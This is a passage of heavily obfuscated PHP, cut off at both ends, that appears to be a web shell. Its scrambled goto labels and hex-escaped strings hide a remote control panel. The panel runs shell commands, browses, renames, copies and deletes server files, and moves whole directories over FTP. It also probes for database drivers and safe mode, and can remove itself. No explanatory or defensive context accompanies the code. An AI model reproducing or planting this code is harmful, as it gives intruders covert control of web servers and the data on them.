"\133\45\x31\45\x5d\40\133\x25\62\x25\135\x20\x3e\40\x5b\45\x33\45\x5d", "\143\165\162\154" => "\x5b\x25\x31\x25\135\x20\x5b\45\62\x25\x5d\40\55\x6f\x20\133\45\63\x25\135"); goto tIsLZ; kNdTQ: if (@function_exists("\163\145\x74\x5f\164\x69\x6d\x65\137\154\x69\155\x69\x74")) { @set_time_limit(0); } elseif (@function_exists("\151\x6e\151\137\163\145\x74")) { @ini_set("\155\x61\170\x5f\145\x78\145\x63\x75\164\x69\x6f\156\x5f\x74\151\x6d\145", 300); } elseif (function_exists("\151\156\151\x5f\141\x6c\164\145\x72")) { @ini_alter("\155\x61\170\x5f\145\x78\x65\x63\x75\164\x69\x6f\x6e\x5f\164\x69\x6d\x65", 300); } goto xy3SS; f_N4w: if ($act == "\x64") { if (@isset($dt)) { $dt = @trim($dt); if (!@empty($dt)) { switch ($dt) { case "\156\x65\167": if (!z4j($d)) { @mkdir($d); } $act = "\x6c\x73"; break; case "\x63\x68\x64\151\x72": if (@isset($tt) && z4j($tt)) { $d = $tt; } $act = "\x6c\163"; break; case "\162\145\156\x61\155\x65": if (@isset($tt) && z4j($tt)) { if (@isset($drename) && $drename && @isset($newname) && !@empty($newname)) { if (z3p($newname) == "\56\57") { $newname = z3p($tt) . z2h($newname); } elseif (!z4q(z3p($newname))) { $newname = z3p($tt) . $newname; } if (z4q($newname) && z4j($newname)) { $newname = z1a($newname) . z2h($tt); } $rendirmsg = z2b(@rename($tt, $newname) ? z9s("\64\67\x34", $newname) : z9s("\64\x37\x35", $tt), "\60"); } else { $showrename1 = 1; } } $act = "\154\x73"; break; case "\x64\x65\x6c\x65\164\x65": if (z4q($tt)) { z8d($tt); } $act = "\x6c\x73"; break; case "\146\165\156\143\x74\151\x6f\156\x73": if (@isset($tt) && z4j($tt)) { $d = $tt; } $act = "\x64\x66\x75\x6e\x63"; break; case "\142\x63\x6f\x70\x79": if (@isset($tt) && z4j($tt)) { $abuf = $dt; } $act = "\x6c\163"; break; case "\x62\143\x75\x74": if (@isset($tt) && z4j($tt)) { $abuf = $dt; } $act = "\x6c\x73"; break; case "\142\160\x61\163\x74\x65\x63\x6f\x70\171": $abuf = $dt; if (@isset($tt) && z4j($tt)) { $d = $tt; } $act = "\x6c\x73"; break; case "\x62\x70\141\163\164\145\x63\165\x74": $abuf = $dt; if (@isset($tt) && z4j($tt)) { $d = $tt; } $act = "\154\x73"; break; case "\142\x70\x61\x73\164\x65\x61\154\x6c": $abuf = $dt; if (@isset($tt) && z4j($tt)) { $d = $tt; } $act = "\x6c\x73"; break; default: break; } } } } goto b0Psl; IR5Z4: $d = z1a($d); goto pvjBW; sAQAM: function z8v($i, $c = '', $s = '') { return z6p('', $i, $c, $s); } goto GyyLj; bi7kC: function z9v($d) { global $with_ls; $r = array(); $ls = @str_replace("\134", '', z9t("\154\x73\x20\55\141\40\x22" . $d . "\42\40\62\x3e\57\144\x65\166\57\156\x75\x6c\154", 0)); $e = @explode("\12", $ls); if (@count($e) > 0) { $with_ls = 1; foreach ($e as $p) { if ($p != '' && $p != $d && !@in_array($d . $p, $r)) { $r[] = $d . $p; } } } return $r; } goto RWVXE; yhHlJ: function z7p($c = '', $id = '') { return z6f("\x74\x6f\160", $c, $id); } goto fVDkB; I1jhT: if ($bmysql) { $a_sql[] = "\115\x79\123\x51\x4c"; } goto vhO0t; wQer1: function z5a() { global $sh_exec, $nix; $mem = $buff = $swap = array('', z9s("\64\63\x30")); if ($nix && $sh_exec) { $m = z9t("\146\162\145\145\40\55\x62"); if (!@empty($m)) { $e = @explode("\12", $m); foreach ($e as $l) { if (@preg_match("\x2f\x6d\145\155\72\x5c\163\52\x28\x5b\60\55\71\x5d\x2b\x29\134\x73\52\50\x5b\x30\55\71\x5d\53\x29\134\163\x2a\50\133\60\55\x39\x5d\x2b\x29\57\151", $l, $t)) { $used = @round($t[2] / $t[1] * 100); $mem = array(z2g($used), z9s("\64\x32\x36", z7c($t[1])) . "\40" . z9s("\64\62\71", z7c($t[2])) . "\x20\50" . $used . "\45\x29\x20" . z9s("\64\x36\65", z7c($t[3]))); } elseif (@preg_match("\57\x73\x77\141\160\72\x5c\163\x2a\x28\x5b\60\55\x39\x5d\53\x29\134\x73\x2a\50\133\60\55\x39\135\x2b\51\134\163\52\x28\133\60\55\71\x5d\53\x29\57\151", $l, $t)) { $used = @round($t[2] / $t[1] * 100); $swap = array(z2g($used), z9s("\x34\62\66", z7c($t[1])) . "\40" . z9s("\64\62\71", z7c($t[2])) . "\40\50" . $used . "\x25\x29\40" . z9s("\64\x36\65", z7c($t[3]))); } elseif (@preg_match("\x2f\55\x5c\x2f\x5c\x2b\x20\x62\x75\x66\146\145\x72\163\x5c\57\x63\x61\x63\150\x65\x3a\134\163\x2a\x28\x5b\x30\55\x39\x5d\53\x29\134\163\52\x28\133\x30\55\x39\x5d\x2b\51\57\x69", $l, $t)) { $tot = $t[1] + $t[2]; $used = @round($t[1] / $tot * 100); $buff = array(z2g($used), z9s("\64\62\x36", z7c($tot)) . "\40" . z9s("\x34\x32\x39", z7c($t[1])) . "\x20\50" . $used . "\x25\x29\x20" . z9s("\x34\66\65", z7c($t[2]))); } } } } return array($mem, $buff, $swap); } goto wF1i2; S8mJj: if ($use_buffer) { if ($act == "\x66" && @in_array($ft, $a_buf)) { $act = "\x6c\163"; $abuf = $ft; $f = $d . $f; } if (@isset($emptybuf) && $emptybuf) { z0a(); } z1g(); if (@isset($abuf) && @in_array($abuf, $a_buf)) { if (@isset($tt)) { z1l($tt, $abuf); } if (@isset($f)) { z1l($f, $abuf); } } elseif (@isset($abuf) && @in_array($abuf, $b_buf)) { switch ($abuf) { case "\x62\x70\141\x73\x74\145\143\157\160\x79": if (@isset($bcopy) && @is_array($bcopy) && @count($bcopy) > 0) { foreach ($bcopy as $tcf) { if (z4q($tcf)) { z7b($tcf, z4j($tcf) ? z1a($d) . z2h($tcf) : z1a($d)); } } } break; case "\142\160\141\x73\x74\x65\143\x75\x74": if (@isset($bcut) && @is_array($bcut) && @count($bcut) > 0) { foreach ($bcut as $tcf) { if (z4q($tcf)) { z8a($tcf, z1a($d) . (z4j($tcf) ? z2h($tcf) : '')); } z1l($tcf, "\x62\143\x75\164"); } } break; case "\x62\160\141\163\x74\145\141\x6c\x6c": if (@isset($bcopy) && @is_array($bcopy) && @count($bcopy) > 0) { foreach ($bcopy as $tcf) { if (z4q($tcf)) { z7b($tcf, z1a($d) . (z4j($tcf) ? z2h($tcf) : '')); } } } if (@isset($bcut) && @is_array($bcut) && @count($bcut) > 0) { foreach ($bcut as $tcf) { if (z4q($tcf)) { z8a($tcf, z1a($d) . (z4j($tcf) ? z2h($tcf) : '')); } z1l($tcf, "\142\x63\165\164"); } } break; default: break; } } z1w(); if (@isset($showbuf) && $showbuf) { $ls_a = @array_merge($bcopy, $bcut); } } goto ETgkI; Qru3k: function z6r($i, $n, $c = '', $s = '') { return z4l($n, $c, $s) . $i . z7g(); } goto N1cV2; AH0dd: function z7u() { return "\74\57\164\x72\76" . "\xa"; } goto iNnAK; dujxL: function z0q($t) { return z5c(array("\x61\x63\x74" => "\x66\x74\x70", "\x66\154\x73\157\x72\164", "\146\x66\163\157\162\164", "\144", "\x72\x64" => $t), z4a("\146\164", array("\x63\x68\144\151\162" => z9s("\x34\62\65")), "\63") . z8v("\46\x72\141\161\165\157\73", "\66")); } goto pGxqN; BxibQ: function z2n($ip) { $ip = @preg_replace("\x2f\133\134\164\x5c\163\x5c\162\x5c\x6e\x5d\57", '', $ip); if (!@is_numeric(@str_replace("\56", '', $ip)) || @substr_count($ip, "\x2e") != 3) { return "\146\141\151\x6c\x65\144"; } else { $dec = z2x($ip); $hex = "\x30\170" . @dechex($dec); return $hex; } } goto mc7TU; w1zI2: function z3n() { return "\x3c\x73\143\162\x69\x70\x74\40\164\171\x70\x65\x3d\x22\x74\145\170\x74\57\x6a\x61\x76\141\163\143\162\x69\x70\x74\x22\x3e\xa\x69\x66\50\x21\x64\157\x63\165\x6d\145\x6e\164\56\x67\x65\164\x45\154\145\155\x65\156\x74\x42\171\x49\x64\51\x7b\x20\151\x66\x28\144\157\x63\x75\155\145\156\164\56\141\154\x6c\51\x7b\x20\x64\x6f\x63\x75\x6d\x65\156\x74\x2e\147\x65\164\x45\x6c\145\155\145\x6e\164\x42\x79\x49\144\75\x66\x75\x6e\143\164\151\157\x6e\50\51\173\x20\x69\146\x28\x74\171\x70\145\x6f\146\x20\144\157\x63\x75\155\145\156\164\56\141\x6c\154\x5b\x61\x72\x67\165\155\x65\x6e\164\163\133\x30\135\135\41\75\42\x75\x6e\x64\145\146\x69\x6e\145\x64\x22\51\173\40\162\145\x74\x75\x72\x6e\40\144\157\143\x75\155\145\156\164\x2e\x61\154\154\133\x61\162\x67\x75\x6d\x65\156\x74\x73\x5b\x30\x5d\x5d\x3b\40\x7d\x20\x65\x6c\x73\x65\x20\x7b\40\x72\145\164\x75\x72\156\40\156\165\x6c\154\x3b\x20\175\x3b\x7d\73\x7d\x20\x65\154\163\x65\40\x69\x66\50\x64\157\x63\165\x6d\x65\x6e\x74\56\154\141\x79\145\x72\163\51\173\40\x64\157\x63\165\155\x65\156\164\x2e\147\145\164\105\x6c\x65\x6d\x65\x6e\164\x42\x79\x49\144\75\x66\x75\x6e\x63\164\x69\x6f\x6e\50\x29\x7b\x20\x69\x66\50\x74\171\160\x65\x6f\x66\40\x64\x6f\x63\x75\155\145\156\164\133\141\162\147\x75\155\x65\156\164\163\x5b\x30\135\135\41\75\x22\165\156\x64\x65\146\151\156\145\144\42\x29\x7b\x20\x72\x65\164\x75\x72\156\x20\144\157\x63\x75\155\145\156\x74\x5b\x61\162\x67\x75\x6d\x65\156\x74\x73\133\x30\x5d\135\73\40\175\40\x65\x6c\x73\145\40\x7b\40\x72\145\164\x75\x72\x6e\x20\x6e\165\154\154\x3b\40\175\73\x7d\x3b\x7d\73\175\12\x66\x75\x6e\143\x74\x69\x6f\156\x20\x63\150\x61\156\x67\x65\143\x6c\x73\50\164\x72\x69\144\x2c\x20\156\145\x77\143\x6c\163\x29\173\x20\x74\x72\171\x20\173\40\144\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x67\145\164\105\154\x65\155\145\156\164\x42\x79\x49\144\x28\164\x72\x69\x64\x29\x2e\x63\x6c\x61\x73\163\x4e\141\x6d\145\x20\x3d\x20\x64\x6f\143\x75\x6d\145\x6e\x74\56\x67\x65\164\105\154\145\x6d\145\x6e\164\x42\x79\111\144\50\x74\x72\151\x64\x29\56\143\x6c\141\x73\163\x4e\141\x6d\x65\x2e\162\x65\160\x6c\141\143\x65\x28\57\x5b\x61\55\x7a\x41\x2d\x5a\60\x2d\71\135\x2b\57\54\156\x65\167\143\154\x73\x29\73\40\175\40\143\x61\164\143\150\50\x65\162\x72\x29\173\x7d\40\x7d\12\x66\165\156\x63\x74\x69\157\156\40\x63\150\141\156\147\x65\x74\162\x28\x74\x72\151\x64\54\40\x76\x62\157\157\154\x29\173\40\x69\146\50\x76\x62\157\157\x6c\51\x7b\40\x63\150\141\156\x67\145\143\154\x73\50\164\x72\x69\x64\x2c\42\x6c\151\163\164\63\42\51\x3b\40\x7d\40\145\154\x73\x65\x20\173\x20\x69\x66\50\164\162\151\x64\x2e\163\165\142\x73\x74\162\50\60\54\63\51\40\x3d\x3d\x20\42\164\162\141\x22\51\x7b\x20\143\x68\x61\156\x67\x65\x63\x6c\x73\x28\164\162\x69\144\54\42\154\x69\x73\x74\x31\x22\51\x3b\x20\x7d\40\x65\154\163\145\x20\x7b\40\x63\150\141\156\x67\x65\x63\x6c\163\50\164\x72\151\x64\x2c\42\154\151\x73\164\x32\x22\51\x3b\175\73\175\73\x7d\xa\146\165\156\143\x74\x69\157\x6e\x20\143\x68\153\x66\x72\x6d\50\x69\x6e\x69\144\54\40\150\x69\x64\x29\x7b\x20\x76\141\162\40\151\156\160\165\164\x73\x3d\x64\x6f\143\165\x6d\x65\x6e\x74\x2e\147\145\164\x45\154\145\155\145\156\x74\x73\x42\x79\x54\141\147\x4e\141\155\145\50\x22\x69\x6e\x70\165\x74\42\x29\x3b\x76\141\x72\40\151\x63\x68\153\x3d\133\135\73\x66\157\162\x28\166\141\x72\x20\x69\75\x30\73\151\x3c\x69\x6e\x70\165\164\x73\56\154\x65\156\147\164\x68\73\x69\53\53\x29\173\40\x69\x66\x28\x69\156\x70\x75\x74\x73\x5b\x69\x5d\x2e\x74\x79\160\x65\75\x3d\x22\143\x68\x65\x63\153\x62\157\170\x22\46\x26\151\156\160\165\x74\163\x5b\151\x5d\56\156\141\x6d\145\x3d\x3d\x69\156\151\x64\x29\x7b\40\151\146\50\x69\156\160\x75\164\163\133\151\135\x2e\143\x68\x65\143\x6b\x65\144\51\173\x20\x69\143\x68\x6b\56\x70\165\163\150\50\151\x6e\160\x75\164\163\x5b\151\135\x2e\x76\x61\x6c\165\145\x29\73\175\x3b\175\73\x7d\x3b\151\x66\50\x69\x63\150\x6b\x2e\154\x65\156\x67\164\x68\x20\x3e\x20\60\51\x7b\40\x64\x6f\143\x75\x6d\145\x6e\164\56\147\x65\x74\x45\x6c\x65\155\x65\156\x74\102\x79\111\144\x28\150\x69\x64\x29\x2e\166\141\154\x75\x65\40\75\x20\151\x63\x68\153\x2e\x6a\x6f\x69\x6e\x28\x22\x5c\156\x22\51\x3b\40\162\145\x74\165\162\x6e\40\164\162\x75\x65\x3b\x20\x7d\40\x65\154\163\145\40\173\40\162\145\164\x75\x72\156\40\146\141\x6c\163\x65\x3b\x7d\x3b\x7d\12\146\165\156\x63\164\x69\x6f\x6e\40\x63\150\153\141\x6c\x6c\x28\x69\x6e\151\144\54\x76\x62\157\157\154\x29\x7b\x20\x76\141\x72\x20\151\x6e\160\165\164\x73\75\144\157\143\165\x6d\145\x6e\x74\56\x67\x65\164\105\154\x65\x6d\145\x6e\164\x73\102\x79\x54\x61\147\116\x61\155\x65\x28\42\151\x6e\160\165\x74\x22\51\x3b\x66\x6f\162\x28\x76\141\x72\x20\151\75\60\73\151\x3c\x69\x6e\160\165\x74\163\56\154\145\156\147\x74\150\73\x69\x2b\53\51\x7b\40\151\146\x28\x69\156\x70\165\x74\163\133\x69\135\56\164\x79\160\x65\75\x3d\x22\x63\x68\x65\143\x6b\x62\157\x78\42\46\x26\151\x6e\160\x75\164\x73\x5b\151\x5d\56\156\141\155\x65\75\x3d\x69\x6e\151\144\51\173\40\x69\156\x70\165\164\163\133\x69\x5d\x2e\x63\150\145\143\x6b\145\144\40\75\x20\x76\x62\x6f\x6f\154\73\x20\x63\x68\x61\x6e\147\145\164\x72\x28\x69\156\160\165\164\163\x5b\x69\135\56\151\x64\56\x72\x65\x70\154\141\x63\x65\x28\x27\143\x68\153\x27\54\x20\47\x27\51\54\x20\x76\142\157\x6f\154\51\73\x20\x7d\73\175\x3b\175\xa\x66\165\156\x63\x74\x69\x6f\156\40\151\x6e\x76\141\x6c\x6c\50\x69\x6e\151\144\x29\173\x20\x76\x61\x72\x20\151\x6e\160\x75\164\163\x3d\144\157\x63\165\155\145\156\x74\56\x67\145\164\105\154\x65\x6d\145\x6e\164\x73\102\x79\124\x61\x67\116\141\155\145\50\42\151\156\x70\x75\x74\42\x29\x3b\x66\x6f\162\x28\x76\x61\162\x20\x69\x3d\x30\x3b\x69\x3c\151\x6e\x70\165\164\163\56\154\x65\156\x67\x74\x68\x3b\151\x2b\53\x29\x7b\40\151\x66\x28\x69\156\160\x75\164\163\x5b\151\x5d\56\164\x79\160\145\75\x3d\42\x63\150\x65\x63\x6b\x62\x6f\170\42\x26\x26\151\x6e\160\165\164\x73\x5b\151\135\56\x6e\x61\155\x65\x3d\75\x69\156\151\144\x29\173\x20\x69\146\x28\x69\x6e\x70\x75\164\x73\x5b\151\135\56\143\150\145\143\x6b\145\x64\x20\x3d\75\x20\x74\162\x75\145\51\x7b\40\x69\x6e\x70\x75\164\163\133\151\x5d\x2e\x63\x68\145\143\153\145\x64\x20\x3d\x20\146\141\x6c\163\145\x3b\40\143\x68\x61\x6e\x67\145\164\x72\50\x69\x6e\x70\165\x74\163\x5b\151\x5d\x2e\151\144\56\x72\145\160\x6c\141\143\x65\50\x27\x63\150\x6b\47\54\40\x27\47\51\54\40\x66\141\x6c\x73\x65\51\x3b\40\175\40\145\x6c\x73\x65\40\x7b\40\x69\x6e\x70\165\x74\x73\x5b\x69\x5d\56\x63\x68\145\x63\153\145\144\x20\x3d\40\x74\162\x75\x65\73\x20\143\x68\141\156\147\145\x74\x72\x28\151\x6e\160\x75\x74\163\133\151\x5d\x2e\x69\144\56\162\x65\x70\x6c\141\143\145\x28\x27\143\x68\x6b\47\54\40\47\47\51\x2c\40\164\162\165\x65\51\x3b\x20\175\73\x7d\73\x7d\x3b\175\12\x3c\x2f\163\143\162\151\x70\x74\76"; } goto SsK4b; mMJM8: function z7r($f) { return @function_exists($f) && @is_callable($f) && !@in_array($f, z6j()) ? 1 : 0; } goto sFpBd; XNHbm: if ($act == "\144\x66\165\x6e\143") { z2z(); z1q($d, 0, 1); if (z7r("\164\157\x75\143\150")) { z2v(); echo z2b(z9s("\61\62\x34") . z9c() . z4p($d)); echo z10e(z5n() . (@isset($tmsg) && !@empty($tmsg) ? z7i(z5t(z9c()) . z9j($tmsg)) : '') . z7i(z5c(array("\141\x63\x74", "\x64", "\x73\x74\61" => "\x31"), z5t(z9s("\x31\x30\x34")) . z9j(z5u("\x63\x6f\160\x79\x5f\x66\162\157\x6d", '', "\x39") . z8v(z9s("\x31\x31\x32"), "\x37")))) . z7i(z5c(array("\x61\143\x74", "\144", "\x73\164\62" => "\x31"), z5t(z9s("\61\60\x35")) . z9j(z4a("\164\x6d\157\x6e\x74\x68", $tmonth_arr, "\x34", 1) . "\55" . z4a("\x74\x64\x61\x79", $tday_arr, "\x34", 1) . "\x2d" . z4a("\164\171\145\141\x72", $tyear_arr, "\x34", 1) . z9c(12) . z4a("\x74\x68\157\x75\x72", $thour_arr, "\61", 1) . "\72" . z4a("\x74\155\151\x6e", $tmin_arr, "\61", 1) . "\x3a" . z4a("\164\x73\x65\x63", $tsec_arr, "\x31", 1) . z8v(z9s("\x31\x31\62"), "\x37")))) . z5n(), "\62"); } } goto AFaDc; pGBDb: function z7t($c = '', $s = '') { return z6z("\154\145\146\164", $c, $s); } goto V62DO; HPvQA: function z3b() { global $linux, $saddr, $dtotal, $dfree, $bsafe, $bopendir, $bmysql, $bmssql, $boracle, $bpostgres, $bcurl, $use_images; $a = @explode("\x20", @getenv("\x53\x45\122\126\x45\x52\x5f\x53\x4f\106\x54\x57\101\122\x45")); $b = @explode("\x2d", @phpversion()); if (@isset($a[0])) { $www = $a[0]; } else { $www = "\x55\156\x6b\x6e\157\x77\x6e"; } $www .= z9c(1) . z5c(array("\141\x63\164" => "\x70\150\x70\151\x6e\146\x6f", "\x64"), z8v("\120\x48\x50\x2f" . $b[0], "\60")); echo z10e(z7i(z7l(z7o("\x68\x74\164\160\72\x2f\57\167\150\157\151\x73\x2e\x64\x6f\155\141\151\156\x74\x6f\157\x6c\163\56\x63\157\x6d\x2f" . $saddr, "\61", "\x50\x4f\123\x54") . z8v(z9s("\64"), "\60") . z9z() . z9c(5) . z7o("\x68\x74\x74\x70\x3a\57\57\167\x77\x77\x2e\x64\157\155\x61\x69\x6e\x74\157\157\154\x73\x2e\x63\x6f\155\x2f\162\145\x73\145\141\162\143\150\x2f\x74\162\141\x63\145\x72\157\165\x74\x65\x2f\77\x71\x75\x65\162\x79\x3d" . $saddr, "\x31", "\x50\117\x53\124") . z8v(z9s("\x35"), "\x30") . z9z(), "\x36", "\x35") . z7e(z5c(array("\141\143\164" => "\163\x65\154\x66\x72\x65\155\157\x76\x65", "\144"), z8v(z9s("\66"), "\x30")) . z9c(5) . z5c(array("\x61\x63\164" => "\154\x6f\147\x6f\165\x74", "\x64"), z8v(z9s("\x37"), "\x30")), "\66", "\65")), "\66"); echo z10e(z7i(z6x(z9s("\70"), "\62", "\x32") . ($linux ? z6x(z9s("\x39"), "\x32") : '') . z6x(z9s("\61"), "\x32") . z6x(z9s("\61\x30"), "\62") . z6x(z9s("\x31\61"), "\x32") . z6x(z9s("\61\x32"), "\x32") . z6x(z9s("\x31\x33"), "\62") . z6x(z9s("\61\64"), "\x32") . z6x(z9s("\x31\65"), "\x32") . z6x(z9s("\61\66"), "\62") . z6x(z9s("\61\x37"), "\x32") . z6x(z9s("\x31\70"), "\62")) . z7i(z6x(z9a(), "\63", "\62") . ($linux ? z6x(@php_uname("\162"), "\x33") : '') . z6x(z5k(), "\x33") . z6x($dtotal . "\40\x2f\40" . $dfree, "\63") . z6x($www, "\x33") . z6x($bsafe ? z6y(z9s("\61\71"), "\x6e\x72") : z6y(z9s("\62\x30"), "\162\x77"), "\63") . z6x($bopendir ? z6y(z9s("\62\x31"), "\156\x72") : z6y(z9s("\x34\62\x34"), "\x72\x77"), "\x33") . z6x($bcurl ? z6y(z9s("\x32\61"), "\162\167") : z9s("\62\x32"), "\x33") . z6x($bmysql ? z6y(z9s("\62\61"), "\x72\167") : z9s("\x32\x32"), "\x33") . z6x($bmssql ? z6y(z9s("\x32\x31"), "\x72\167") : z9s("\62\x32"), "\x33") . z6x($boracle ? z6y(z9s("\x32\61"), "\x72\x77") : z9s("\x32\62"), "\63") . z6x($bpostgres ? z6y(z9s("\62\61"), "\162\x77") : z9s("\62\62"), "\63")), "\x33"); } goto h2iHX; zdLYu: function z2r($f, $t) { global $nix, $sh_exec; if (@file_exists($f)) { if ($t == "\146") { return @is_file($f); } if ($t == "\144") { return @is_dir($f); } if ($t == "\x4c") { return @is_link($f); } if ($t == "\x72") { return @is_readable($f); } if ($t == "\167") { return @is_writable($f); } if ($t == "\x78") { return @is_executable($f); } } elseif ($nix && $sh_exec) { $h = z9t("\151\146\40\133\40\x2d" . $t . "\x20\42" . $f . "\x22\40\x5d\73\40\164\x68\145\x6e\40\x65\x63\x68\157\40\42\x69\x73\x74\x72\165\x65\42\73\x20\145\x6c\x73\145\x20\x65\143\150\157\40\42\x69\163\146\141\x6c\163\x65\x22\73\x20\146\x69", 0); return @strstr($h, "\151\x73\x74\162\x75\145") && !@strstr($h, "\151\163\x66\141\154\163\x65"); } return 0; } goto icFMi; urrSR: $saddr = @isset($_SERVER["\x53\x45\122\x56\105\x52\137\x41\104\x44\122"]) ? $_SERVER["\123\x45\x52\x56\x45\x52\137\101\x44\x44\x52"] : (@isset($_SERVER["\123\x45\122\126\x45\x52\x5f\116\101\115\105"]) ? $_SERVER["\x53\x45\x52\126\x45\122\x5f\116\x41\115\x45"] : "\61\x32\67\x2e\x30\x2e\60\x2e\x31"); goto ka3bU; O_Fet: function z7l($i, $c = '', $s = '') { return z5z($c, $s) . $i . z7g(); } goto w52oA; rfd47: if (@empty($d)) { $d = @getcwd(); } goto IR5Z4; cnIak: function z7c($s) { if (!@is_numeric($s)) { return "\60\x20\x42"; } $m = 1024; $u = @explode("\40", "\x42\40\113\x42\x20\115\x42\x20\107\102\x20\x54\102\x20\120\x42"); for ($i = 0; $s > $m; $i++) { $s /= $m; } return @round($s, 2) . "\x20" . $u[$i]; } goto MzhuR; eOmEi: class ftp { var $server = ''; var $port = 21; var $user = ''; var $userDir = ''; var $password = ''; var $connection = ''; var $passive = false; var $systype = ''; var $mode = FTP_BINARY; var $loggedOn = false; var $downloadDir = ''; function ftp($server, $port, $user, $password, $passive = false) { $this->server = $server; $this->port = $port; $this->user = $user; $this->password = $password; $this->connect(); $this->setPassive($passive); } function connect() { $this->connection = @ftp_connect($this->server, $this->port); $this->loggedOn = @ftp_login($this->connection, $this->user, $this->password); $this->systype = @ftp_systype($this->connection); return; } function setPassive($passive) { $this->passive = $passive; @ftp_pasv($this->connection, $this->passive); return; } function setMode($mode = 1) { $this->mode = $mode; return; } function setCurrentDir($dir = false) { if ($dir) { @ftp_chdir($this->connection, $dir); } $this->currentDir = z1a(@ftp_pwd($this->connection)); return $this->currentDir; } function setDownloadDir($dir) { $this->downloadDir = $dir; return; } function chmod($p, $f) { return @ftp_site($this->connection, "\x63\x68\155\157\x64\x20{$p}\40{$f}"); } function cd($dir) { if ($dir == "\x2e\56") { @ftp_cdup($this->connection); } else { if (!@ftp_chdir($this->connection, $this->currentDir . $dir)) { @ftp_chdir($this->connection, $dir); } } $this->currentDir = z1a(@ftp_pwd($this->connection)); return; } function is_dir($dir) { if (@ftp_chdir($this->connection, $dir)) { @ftp_chdir($this->connection, "\56\56"); return true; } else { return false; } } function get($file, $dest = '', $t = 0) { if ($dest == '') { $dest = $this->downloadDir; } return @ftp_get($this->connection, $t ? $dest : z1a($dest) . z2h($file), "{$file}", $this->mode); } function getRecursive($src, $dest = '') { if ($dest == '') { $dest = $this->downloadDir; } $target = z2h($src); $src = z1a($src); $dest = z1a($dest) . $target; if (!z4q($dest)) { @mkdir($dest); } $list = @ftp_nlist($this->connection, $src); for ($x = 0; $x < @count($list); $x++) { $o = z2h($list[$x]); if ($o != "\56" && $o != "\x2e\56") { if ($this->is_dir($src . $o)) { $this->getRecursive($src . $o, $dest); } else { $this->get($src . $o, $dest); } } } } function getObject($src, $dest = '') { if ($dest == '') { $dest = $this->downloadDir; } if ($this->is_dir($src)) { return $this->getRecursive(z1a($src), $dest); } else { return $this->get($src, $dest); } } function put($rf, $lf) { return @file_exists($lf) ? @ftp_put($this->connection, $rf, $lf, $this->mode) : false; } function putRecursive($src, $dest = '') { if ($dest == '') { $dest = $this->currentDir; } $target = z2h($src); $src = z1a($src); $dest = z1a($dest) . $target; $this->makeDir($dest); $list = z8k($src); for ($x = 0; $x < @count($list); $x++) { $o = z2h($list[$x]); if ($o != "\x2e" && $o != "\56\56") { if (z4j($src . $o)) { $this->putRecursive($src . $o, $dest); } else { $this->put(z1a($dest) . $o, $src . $o); } } } } function putObject($src, $dest = '') { if ($dest == '') { $dest = $this->currentDir; } $target = z2h($src); if (z4j($src)) { return $this->putRecursive($src, $dest); } else { return $this->put(z1a($dest) . $target, $src); } } function deleteFile($rf) { return @ftp_delete($this->connection, "{$rf}"); } function deleteObject($obj) { $cobj = z2h($obj); if ($cobj != "\56" && $cobj != "\56\x2e") { if ($this->is_dir($obj)) { if ($list = @ftp_nlist($this->connection, "{$obj}")) { for ($x = 0; $x < @count($list); $x++) { $o = z2h($list[$x]); if ($o != "\56" && $o != "\x2e\56") { $this->deleteObject(z1a($obj) . $o); } } } @ftp_rmdir($this->connection, "{$obj}"); } else { $this->deleteFile("{$obj}"); } } } function rename($old, $new) { return @ftp_rename($this->connection, "{$old}", "{$new}"); } function makeDir($dir) { return @ftp_mkdir($this->connection, "{$dir}"); } function parseline($raw) { if (@preg_match("\57\50\133\x2d\x64\154\x5d\51\50\x5b\x72\167\170\163\x53\164\x54\x2d\135\x7b\x39\175\x29\133\40\x5d\x2b\50\133\x30\x2d\x39\x5d\53\51\133\x20\135\53\x28\133\136\40\135\53\51\x5b\x20\x5d\53\50\x2e\53\51\133\x20\x5d\x2b\x28\133\60\55\x39\x5d\53\51\x5b\x20\x5d\x2b\x28\x5b\141\x2d\x7a\101\x2d\132\x5d\53\133\x20\135\x2b\133\60\55\71\x5d\x2b\x29\133\40\135\x2b\50\133\x30\x2d\71\x3a\135\53\x29\x5b\40\x5d\x2b\50\x2e\x2a\x29\57", $raw, $m)) { $l = array($m[1] == "\x64" ? "\144" : ($m[1] == "\154" ? "\x6c" : "\x66"), $m[9], $m[6]); } elseif (@preg_match("\x2f\x28\x5b\x2d\144\x6c\x5d\x29\x28\133\x72\x77\x78\163\123\164\124\55\135\173\x39\x7d\51\x5b\40\135\x2b\50\x2e\52\x29\133\x20\x5d\x2b\x28\x5b\x61\x2d\x7a\x41\55\x5a\60\55\71\40\x5d\x2b\51\133\x20\x5d\x2b\x28\133\60\55\71\x3a\x5d\53\51\133\40\135\x2b\x28\56\x2a\51\x2f", $raw, $m)) { $l = array($m[1] == "\144" ? "\144" : ($m[1] == "\x6c" ? "\154" : "\146"), $m[6], $m[3]); } elseif (@preg_match("\57\x28\133\60\55\71\x5c\x2f\x2d\135\53\x29\x5b\x20\135\x2b\x28\x5b\60\55\x39\72\x41\115\120\x5d\53\51\133\x20\x5d\x2b\x28\133\x30\x2d\71\135\x2a\x7c\x3c\104\x49\x52\x3e\51\133\40\x5d\x2b\x28\56\52\x29\x2f", $raw, $m)) { $l = array($m[3] == "\74\x44\111\x52\76" ? "\144" : "\x66", $m[4], $m[3]); } elseif (@preg_match("\x2f\x28\x5b\55\x5d\x7c\x5b\144\x5d\x29\x5b\40\x5d\x2b\50\x2e\x7b\61\60\x7d\x29\x5b\40\135\53\50\x5b\x5e\x20\x5d\53\51\133\x20\x5d\53\50\x5b\x30\x2d\71\135\52\x29\x5b\x20\135\x2b\50\x5b\141\55\172\101\x2d\132\x5d\52\133\40\x5d\53\133\x30\55\x39\x5d\52\51\x5b\x20\x5d\53\50\x5b\x30\x2d\71\72\135\x2a\51\x5b\x20\x5d\53\50\x2e\52\x29\x2f", $raw, $m)) { $l = array($m[1] == "\144" ? "\x64" : "\x66", $m[7], $m[4]); } elseif (@preg_match("\57\50\133\x61\x2d\x7a\101\x2d\132\60\x2d\71\137\55\135\x2b\51\x5b\40\x5d\x2b\50\133\60\x2d\71\135\53\51\x5b\x20\135\x2b\50\x5b\60\55\x39\x5c\57\55\x5d\x2b\51\133\40\x5d\53\50\133\60\x2d\x39\72\x5d\53\51\x5b\x20\135\53\x28\x5b\141\55\172\x41\x2d\x5a\x30\55\x39\137\40\55\x5c\52\135\53\x29\x5b\x20\x5c\x2f\135\x2b\50\133\x5e\134\57\135\x2b\x29\x2f", $raw, $m)) { $l = array($m[5] == 